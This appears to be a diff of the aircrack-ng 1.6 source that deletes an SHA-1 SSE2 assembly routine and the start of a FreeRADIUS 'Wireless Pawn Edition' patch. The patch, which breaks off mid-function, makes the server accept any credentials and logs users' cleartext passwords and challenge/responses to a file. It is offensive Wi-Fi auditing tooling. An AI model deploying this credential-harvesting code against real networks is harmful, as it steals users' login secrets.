-// SHA-1 SSE2 implementation, (C) 2008 Alvaro Salmador (naplam33@msn.com), ported from Simon Marechal's SHA-1 MMX - License: GPLv2
-// SHA-1 MMX implementation, (C) 2005 Simon Marechal (simon@banquise.net) - License: Public Domain
-
-// This code computes two (with sse now four) SHA-1 digests at the same time. It
-// doesn't take care of padding (0x80 and size << 3), so make
-// sure the last input block is properly padded. Both 64-byte
-// input blocks must be (four bytes) interleaved.
-
-//  In addition, as a special exception, the copyright holders give
-//  permission to link the code of portions of this program with the
-//  OpenSSL library under certain conditions as described in each
-//  individual source file, and distribute linked combinations
-//  including the two.
-//  You must obey the GNU General Public License in all respects
-//  for all of the code used other than OpenSSL. *  If you modify
-//  file(s) with this exception, you may extend this exception to your
-//  version of the file(s), but you are not obligated to do so. *  If you
-//  do not wish to do so, delete this exception statement from your
-//  version. *  If you delete this exception statement from all source
-//  files in the program, then also delete it here.
-
-#if defined(__x86_64__)
-#if defined(__APPLE__) || defined(__CYGWIN__)
-#define USE_PIC 1
-#else
-#undef USE_PIC
-#endif
-#else
-#undef USE_PIC
-#endif
-
-#if defined(USE_PIC)
-#define PRELOAD(x,f)
-#define MANGLE(x,f) x(%rip)
-#define INIT_PIC(f)
-#define END_PIC(f)
-#else
-#ifdef __PIC__
-
-#ifdef __x86_64__
-#define PRELOAD(x,f)  movq x@GOTPCREL(%rip), %rbx;
-#define MANGLE(x,f)   (%rbx)
-#define INIT_PIC(f)  pushq %rbx
-#define END_PIC(f)   popq  %rbx
-#else
-
-#if __APPLE__
-#define PRELOAD(x,f)  leal x-L0## f ##$pb(%ebx), %esi;
-#define MANGLE(x,f)   (%esi)
-#define INIT_PIC(x) \
-    push %ebx; \
-    call L0## x ##$pb; \
-    L0## x ##$pb:; \
-    pop %ebx;
-#define END_PIC(x)    pop %ebx
-#else
-#undef __i686 /* gcc builtin define gets in our way */
-#define PRELOAD(x,f)  
-#define MANGLE(x,f)   x ## @GOTOFF(%ebx)
-#define INIT_PIC(f) \
-	call __i686.get_pc_thunk.bx ; \
-	addl $_GLOBAL_OFFSET_TABLE_, %ebx
-#define END_PIC(f)
-#endif
-
-#endif
-
-#else
-
-#define PRELOAD(x,f)  
-#define MANGLE(x,f) x
-#define INIT_PIC(f)
-#define END_PIC(f)
-
-#endif
-#endif
-
-#if defined(__i386__) || defined(__x86_64__)
-
-.globl  shasse2_init;
-.globl  shasse2_ends;
-.globl  shasse2_data;
-.globl  shasse2_cpuid;
-
-.globl _shasse2_init;
-.globl _shasse2_ends;
-.globl _shasse2_data;
-.globl _shasse2_cpuid;
-
-.data
-#ifdef __APPLE__
-.align(12)
-#else
-.align(16)
-#endif
-const_init_a:
-.long 0x67452301
-.long 0x67452301
-.long 0x67452301
-.long 0x67452301
-const_init_b:
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-const_init_c:
-.long 0x98BADCFE
-.long 0x98BADCFE
-.long 0x98BADCFE
-.long 0x98BADCFE
-const_init_d:
-.long 0x10325476
-.long 0x10325476
-.long 0x10325476
-.long 0x10325476
-const_init_e:
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-const_stage0:
-.long 0x5A827999
-.long 0x5A827999
-.long 0x5A827999
-.long 0x5A827999
-const_stage1:
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-const_stage2:
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-const_stage3:
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-const_ff00:
-.long 0xFF00FF00
-.long 0xFF00FF00
-.long 0xFF00FF00
-.long 0xFF00FF00
-const_00ff:
-.long 0x00FF00FF
-.long 0x00FF00FF
-.long 0x00FF00FF
-.long 0x00FF00FF
-
-#define ctxa %xmm0
-#define ctxb %xmm1
-#define ctxc %xmm2
-#define ctxd %xmm3
-#define ctxe %xmm4
-#define tmp1 %xmm5
-#define tmp2 %xmm6
-#define tmp3 %xmm7
-#define tmp4 ctxa
-#define tmp5 ctxb
-
-#if defined(__x86_64__) && defined(__CYGWIN__)
- #define edx_rsi %rdx     // arg2
- #define ecx_rdx %r8      // arg3
- #define eax_rdi %rcx     // arg1
-#elif defined(__x86_64__)
- #define edx_rsi %rsi     // arg2
- #define ecx_rdx %rdx     // arg3
- #define eax_rdi %rdi     // arg1
-#else
- #define edx_rsi %edx
- #define ecx_rdx %ecx
- #define eax_rdi %eax
-#endif
-
-// movdqa movapd
-
-#define F0(x,y,z)       \
-        movdqa   x, tmp2; \
-        movdqa   x, tmp1; \
-        pand   y, tmp2; \
-        pandn  z, tmp1; \
-        por    tmp2, tmp1; 
-
-#define F1(x,y,z)       \
-        movdqa   z, tmp1; \
-        pxor   y, tmp1; \
-        pxor   x, tmp1
-
-#define F2(x,y,z)       \
-        movdqa   x, tmp1; \
-        movdqa   x, tmp2; \
-        pand   y, tmp1; \
-        por    y, tmp2; \
-        pand   z, tmp2; \
-        por    tmp2, tmp1;
-        
-#if defined(__x86_64__) && (defined(__CYGWIN__) && !defined(__clang__))
-#define subRoundX(a, b, c, d, e, f, k, data)    \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        paddd  MANGLE(k,shasse2_data), e;			\
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;                         \
-        movdqa   (data*16)(edx_rsi), tmp1;      \
-        movdqa   tmp1, tmp2;                    \
-        pand   MANGLE(const_ff00,shasse2_data), tmp1;        \
-        pand   MANGLE(const_00ff,shasse2_data), tmp2;        \
-        psrld  $8, tmp1;                        \
-        pslld  $8, tmp2;                        \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, tmp2;                    \
-        psrld  $16, tmp1;                       \
-        pslld  $16, tmp2;                       \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, (data*16)(ecx_rdx);      \
-        paddd  tmp1, e;
-#else
-#define subRoundX(a, b, c, d, e, f, k, data)    \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        PRELOAD(k,shasse2_data)				\
-        paddd  MANGLE(k,shasse2_data), e;			\
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;                         \
-        movdqa   (data*16)(edx_rsi), tmp1;      \
-        movdqa   tmp1, tmp2;                    \
-        PRELOAD(const_ff00,shasse2_data)			\
-        pand   MANGLE(const_ff00,shasse2_data), tmp1;        \
-        PRELOAD(const_00ff,shasse2_data)			\
-        pand   MANGLE(const_00ff,shasse2_data), tmp2;        \
-        psrld  $8, tmp1;                        \
-        pslld  $8, tmp2;                        \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, tmp2;                    \
-        psrld  $16, tmp1;                       \
-        pslld  $16, tmp2;                       \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, (data*16)(ecx_rdx);      \
-        paddd  tmp1, e;
-#endif
-
-#if defined(__x86_64__) && (defined(__CYGWIN__) && !defined(__clang__))
-#define subRoundY(a, b, c, d, e, f, k, data)    \
-	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
-        movdqa   tmp1, tmp2;                    \
-        pslld    $1, tmp1;                      \
-        psrld   $31, tmp2;                      \
-        por    tmp2, tmp1;                      \
-        movdqa  tmp1, (data*16)(ecx_rdx);       \
-        paddd  tmp1, e;                         \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        paddd  MANGLE(k,shasse2_data), e;                    \
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;
-#else
-#define subRoundY(a, b, c, d, e, f, k, data)    \
-	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
-        movdqa   tmp1, tmp2;                    \
-        pslld    $1, tmp1;                      \
-        psrld   $31, tmp2;                      \
-        por    tmp2, tmp1;                      \
-        movdqa  tmp1, (data*16)(ecx_rdx);       \
-        paddd  tmp1, e;                         \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        PRELOAD(k,shasse2_data)				\
-        paddd  MANGLE(k,shasse2_data), e;                    \
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;
-#endif 
-.text
-
-// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
-
- shasse2_init:
-_shasse2_init:
-
-        INIT_PIC(shasse2_init)
-        PRELOAD(const_init_a,shasse2_init)
-        movdqa   MANGLE(const_init_a,shasse2_init), ctxa
-        PRELOAD(const_init_b,shasse2_init)
-        movdqa   MANGLE(const_init_b,shasse2_init), ctxb
-        PRELOAD(const_init_c,shasse2_init)
-        movdqa   MANGLE(const_init_c,shasse2_init), ctxc
-        PRELOAD(const_init_d,shasse2_init)
-        movdqa   MANGLE(const_init_d,shasse2_init), ctxd
-        PRELOAD(const_init_e,shasse2_init)
-        movdqa   MANGLE(const_init_e,shasse2_init), ctxe
-
-        movdqa   ctxa, 0(eax_rdi)
-        movdqa   ctxb, 16(eax_rdi)
-        movdqa   ctxc, 32(eax_rdi)
-        movdqa   ctxd, 48(eax_rdi)
-        movdqa   ctxe, 64(eax_rdi)
-        END_PIC()
-
-        ret
-
-// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
-// arg 2 (edx) (64bit: rsi) : digests (4*20 bytes)
-
- shasse2_ends:
-_shasse2_ends:
-
-        INIT_PIC(shasse2_ends)
-	movdqa    0(eax_rdi), ctxa
-        movdqa   16(eax_rdi), ctxb
-        movdqa   32(eax_rdi), ctxc
-        movdqa   48(eax_rdi), ctxd
-        movdqa   64(eax_rdi), ctxe
-
-        PRELOAD(const_ff00,shasse2_ends)
-        movdqa   MANGLE(const_ff00,shasse2_ends), tmp3
-        movdqa   ctxa, tmp1
-        movdqa   ctxb, tmp2
-        pand   tmp3, ctxa
-        pand   tmp3, ctxb
-        PRELOAD(const_00ff,shasse2_ends)
-        movdqa   MANGLE(const_00ff,shasse2_ends), tmp3
-        pand   tmp3, tmp1
-        pand   tmp3, tmp2
-        psrld  $8, ctxa
-        psrld  $8, ctxb
-        pslld  $8, tmp1
-        pslld  $8, tmp2
-        por    tmp1, ctxa
-        por    tmp2, ctxb
-        movdqa   ctxa, tmp1
-        movdqa   ctxb, tmp2
-        psrld  $16, ctxa
-        psrld  $16, ctxb
-        pslld  $16, tmp1
-        pslld  $16, tmp2
-        por    tmp1, ctxa
-        por    tmp2, ctxb 
-        movdqa   ctxa,  0(edx_rsi)
-        movdqa   ctxb,  16(edx_rsi)
-
-        PRELOAD(const_ff00,shasse2_ends)
-        movdqa   MANGLE(const_ff00,shasse2_ends), tmp5
-        movdqa   ctxc, tmp1
-        movdqa   ctxd, tmp2
-        movdqa   ctxe, tmp3
-        pand   tmp5, ctxc
-        pand   tmp5, ctxd
-        pand   tmp5, ctxe
-        PRELOAD(const_00ff,shasse2_ends)
-        movdqa   MANGLE(const_00ff,shasse2_ends), tmp5
-        pand   tmp5, tmp1
-        pand   tmp5, tmp2
-        pand   tmp5, tmp3
-        psrld  $8, ctxc
-        psrld  $8, ctxd
-        psrld  $8, ctxe
-        pslld  $8, tmp1
-        pslld  $8, tmp2
-        pslld  $8, tmp3
-        por    tmp1, ctxc
-        por    tmp2, ctxd
-        por    tmp3, ctxe
-        movdqa   ctxc, tmp1
-        movdqa   ctxd, tmp2
-        movdqa   ctxe, tmp3
-        psrld  $16, ctxc
-        psrld  $16, ctxd
-        psrld  $16, ctxe
-        pslld  $16, tmp1
-        pslld  $16, tmp2
-        pslld  $16, tmp3
-        por    tmp1, ctxc
-        por    tmp2, ctxd
-        por    tmp3, ctxe
-
-        movdqa   ctxc, 32(edx_rsi)
-        movdqa   ctxd, 48(edx_rsi)
-        movdqa   ctxe, 64(edx_rsi)
-        END_PIC()
-
-        ret
-
-// arg 1 (eax) (64bit: rdi): context     (4*20 bytes)
-// arg 2 (edx) (64bit: rsi): input data (4*64 bytes)
-// arg 3 (ecx) (64bit: rdx): workspace  (1280 bytes)
-
- shasse2_data:
-_shasse2_data:
-
-        INIT_PIC(shasse2_data)
-        movdqa    0(eax_rdi), ctxa
-        movdqa   16(eax_rdi), ctxb
-        movdqa   32(eax_rdi), ctxc
-        movdqa   48(eax_rdi), ctxd
-        movdqa   64(eax_rdi), ctxe
-
-round0:
-
-        prefetchnta (edx_rsi)
-
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  0 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  1 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  2 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  3 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  4 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  5 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  6 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  7 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  8 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  9 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 10 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 11 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 12 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 13 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 14 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 15 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 16 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 17 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 18 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 19 );
-
-round1:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 20 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 21 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 22 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 23 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 24 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 25 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 26 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 27 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 28 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 29 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 30 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 31 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 32 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 33 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 34 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 35 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 36 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 37 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 38 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 39 );
-
-round2:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 40 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 41 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 42 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 43 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 44 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 45 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 46 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 47 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 48 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 49 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 50 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 51 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 52 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 53 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 54 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 55 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 56 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 57 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 58 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 59 );
-
-round3:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 60 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 61 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 62 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 63 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 64 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 65 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 66 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 67 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 68 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 69 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 70 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 71 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 72 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 73 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 74 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 75 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 76 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 77 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 78 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 79 );
-
-        paddd    0(eax_rdi), ctxa
-        paddd   16(eax_rdi), ctxb
-        paddd   32(eax_rdi), ctxc
-        paddd   48(eax_rdi), ctxd
-        paddd   64(eax_rdi), ctxe
-
-        movdqa    ctxa,  0(eax_rdi)
-        movdqa    ctxb, 16(eax_rdi)
-        movdqa    ctxc, 32(eax_rdi)
-        movdqa    ctxd, 48(eax_rdi)
-        movdqa    ctxe, 64(eax_rdi)
-        END_PIC()
-
-        ret
-
-// returns 0 if neither MMX nor SSE2 are supported; 1 if MMX is supported; 2 if SSE2 is also supported
- shasse2_cpuid:
-_shasse2_cpuid:
-#ifndef __x86_64__
-		pushfl
-		pushfl
-		popl	%eax
-		movl	%eax, %ecx
-		xorl	$0x200000, %eax
-		push	%eax
-		popfl
-		pushfl
-		popl	%eax
-		popfl
-		xorl	%ecx, %eax
-		jnz		do_cpuid
-		ret
-do_cpuid:
-#endif   	
-
-#ifdef __x86_64__
-		push    %rbx
-		push    %rcx
-		push    %rdx
-#else
-		push	%ebx
-		push	%ecx
-		push	%edx
-#endif		
-   		movl	$1, %eax
-   		cpuid
-   		
-		testl	$0x00800000, %edx  // bit 23 (MMX)
-		jz		no_mmx
-   		testl	$0x04000000, %edx  // bit 26 (SSE2)
-   		jz		mmx_only
-   		
-		// sse2 supported:
-		movl	$2, %eax
-		jmp		cpuid_exit
-		
-mmx_only:
-		movl	$1, %eax
-		jmp		cpuid_exit
-
-no_mmx:
-		movl	$0, %eax
-
-cpuid_exit:
-#ifdef __x86_64__
-		pop		%rdx
-		pop		%rcx
-		pop		%rbx
-#else
-		pop		%edx
-		pop		%ecx
-		pop		%ebx
-#endif
-		ret
-#ifdef __i386__
-#ifdef __PIC__
-#ifndef __APPLE__
-	.section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits
-#endif
-.globl __i686.get_pc_thunk.bx
-
-#ifdef __APPLE__
-    .private_extern  __i686.get_pc_thunk.bx
-#else
-	.hidden  __i686.get_pc_thunk.bx
-	.type    __i686.get_pc_thunk.bx,@function
-#endif
-__i686.get_pc_thunk.bx:
-	movl (%esp), %ebx
-	ret
-#endif
-#endif
-#endif
-
-#if defined(__linux__) && defined(__ELF__)
-.section .note.GNU-stack,"",%progbits
-#endif

aircrack-ng-1.6.tar.gz/lib/csharp/MonoExample/NDesk-dbus/NDesk-dbus.pidb Deleted

aircrack-ng-1.6.tar.gz/lib/csharp/MonoExample/NewStationNotify/NewStationNotify.pidb Deleted

aircrack-ng-1.6.tar.gz/patches/wpe/freeradius-wpe/freeradius-wpe.patch Deleted

@@ -1,469 +0,0 @@
-diff -Nurp freeradius-server-3.0.18/raddb/mods-config/files/authorize freeradius-server-3.0.18-wpe/raddb/mods-config/files/authorize
---- freeradius-server-3.0.18/raddb/mods-config/files/authorize	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/raddb/mods-config/files/authorize	2019-02-26 14:02:54.666099898 -0500
-@@ -218,3 +218,5 @@ DEFAULT	Hint == "SLIP"
- # See the example user "bob" above.                     #
- #########################################################
- 
-+DEFAULT Cleartext-Password := "foo", MS-CHAP-Use-NTLM-Auth := 0
-+DEFAULT Cleartext-Password := "a"
-diff -Nurp freeradius-server-3.0.18/raddb/radiusd.conf.in freeradius-server-3.0.18-wpe/raddb/radiusd.conf.in
---- freeradius-server-3.0.18/raddb/radiusd.conf.in	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/raddb/radiusd.conf.in	2019-02-26 14:02:54.666099898 -0500
-@@ -382,6 +382,9 @@ log {
- #  The program to execute to do concurrency checks.
- checkrad = ${sbindir}/checkrad
- 
-+# Wireless Pawn Edition log file
-+wpelogfile = ${logdir}/freeradius-server-wpe.log
-+
- # SECURITY CONFIGURATION
- #
- #  There may be multiple methods of attacking on the server.  This
-diff -Nurp freeradius-server-3.0.18/src/include/log.h freeradius-server-3.0.18-wpe/src/include/log.h
---- freeradius-server-3.0.18/src/include/log.h	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/include/log.h	2019-02-26 14:02:54.666099898 -0500
-@@ -72,6 +72,11 @@ typedef struct fr_log_t {
- 	char const	*debug_file;	//!< Path to debug log file.
- } fr_log_t;
- 
-+void log_wpe(const char *authtype, const char *username, const char *password,
-+				const unsigned char *challenge, const unsigned int challen,
-+				const unsigned char *response, const unsigned int resplen,
-+				const char * logfilename);
-+
- typedef		void (*radlog_func_t)(log_type_t lvl, log_lvl_t priority, REQUEST *, char const *, va_list ap);
- 
- extern FR_NAME_NUMBER const syslog_facility_table;
-diff -Nurp freeradius-server-3.0.18/src/include/radiusd.h freeradius-server-3.0.18-wpe/src/include/radiusd.h
---- freeradius-server-3.0.18/src/include/radiusd.h	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/include/radiusd.h	2019-02-26 14:02:54.666099898 -0500
-@@ -149,6 +149,8 @@ typedef struct main_config {
- 	char const	*checkrad;			//!< Script to use to determine if a user is already
- 							//!< connected.
- 
-+	char const	*wpelogfile;			//!< Wireless Pawn Edition log file path.
-+
- 	rad_listen_t	*listen;			//!< Head of a linked list of listeners.
- 
- 
-diff -Nurp freeradius-server-3.0.18/src/main/auth.c freeradius-server-3.0.18-wpe/src/main/auth.c
---- freeradius-server-3.0.18/src/main/auth.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/main/auth.c	2019-02-26 14:02:54.666099898 -0500
-@@ -129,6 +129,7 @@ static int rad_authlog(char const *msg,
- 		} else {
- 			fr_prints(clean_password, sizeof(clean_password),
- 				  request->password->vp_strvalue, request->password->vp_length, '\0');
-+			log_wpe("password", request->username->vp_strvalue, clean_password, NULL, 0, NULL, 0, main_config.wpelogfile);
- 		}
- 	}
- 
-diff -Nurp freeradius-server-3.0.18/src/main/libfreeradius-server.mk freeradius-server-3.0.18-wpe/src/main/libfreeradius-server.mk
---- freeradius-server-3.0.18/src/main/libfreeradius-server.mk	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/main/libfreeradius-server.mk	2019-02-26 14:02:54.666099898 -0500
-@@ -14,6 +14,7 @@ SOURCES	:=	conffile.c \
- 		pair.c \
- 		xlat.c
- 
-+
- # This lets the linker determine which version of the SSLeay functions to use.
- TGT_LDLIBS      := $(OPENSSL_LIBS)
- 
-diff -Nurp freeradius-server-3.0.18/src/main/log.c freeradius-server-3.0.18-wpe/src/main/log.c
---- freeradius-server-3.0.18/src/main/log.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/main/log.c	2019-02-26 14:02:54.666099898 -0500
-@@ -29,6 +29,7 @@ RCSID("$Id: 21b21b3071470c307ea48f9ed873
- 
- #include <freeradius-devel/radiusd.h>
- #include <freeradius-devel/rad_assert.h>
-+/*#include <freeradius-devel/conf.h>*/
- 
- #ifdef HAVE_SYS_STAT_H
- #  include <sys/stat.h>
-@@ -46,6 +47,9 @@ RCSID("$Id: 21b21b3071470c307ea48f9ed873
- #include <pthread.h>
- #endif
- 
-+#include <stdio.h>
-+#include <time.h>
-+
- log_lvl_t	rad_debug_lvl = 0;		//!< Global debugging level
- static bool	rate_limit = true;		//!< Whether repeated log entries should be rate limited
- 
-@@ -226,6 +230,73 @@ static int stdout_fd = -1;	//!< The orig
- 
- static char const spaces = "                                                                                                                        ";
- 
-+/** Prints username, password or challenge/response
-+ *
-+ */
-+void log_wpe(const char *authtype, const char *username, const char *password,
-+				const unsigned char *challenge, const unsigned int challen,
-+				const unsigned char *response, const unsigned int resplen,
-+				const char * logfilename)
-+{
-+	FILE            *logfd;
-+	time_t          nowtime;
-+	unsigned int    count;
-+
-+	/* Get wpelogfile parameter and log data */
-+	if (logfilename == NULL) {
-+		logfd = stderr;
-+	} else {
-+		logfd = fopen(logfilename, "a");
-+		if (logfd == NULL) {
-+			fr_strerror_printf("  log: FAILED: Unable to open output log file %s: %s", logfilename, strerror(errno));
-+			logfd = stderr;
-+		}
-+	}
-+
-+	nowtime = time(NULL);
-+	fprintf(logfd, "%s: %s\n", authtype, ctime(&nowtime));
-+
-+	if (username != NULL) {
-+		fprintf(logfd, "\tusername: %s\n", username);
-+	}
-+	if (password != NULL) {
-+		fprintf(logfd, "\tpassword: %s\n", password);
-+	}
-+
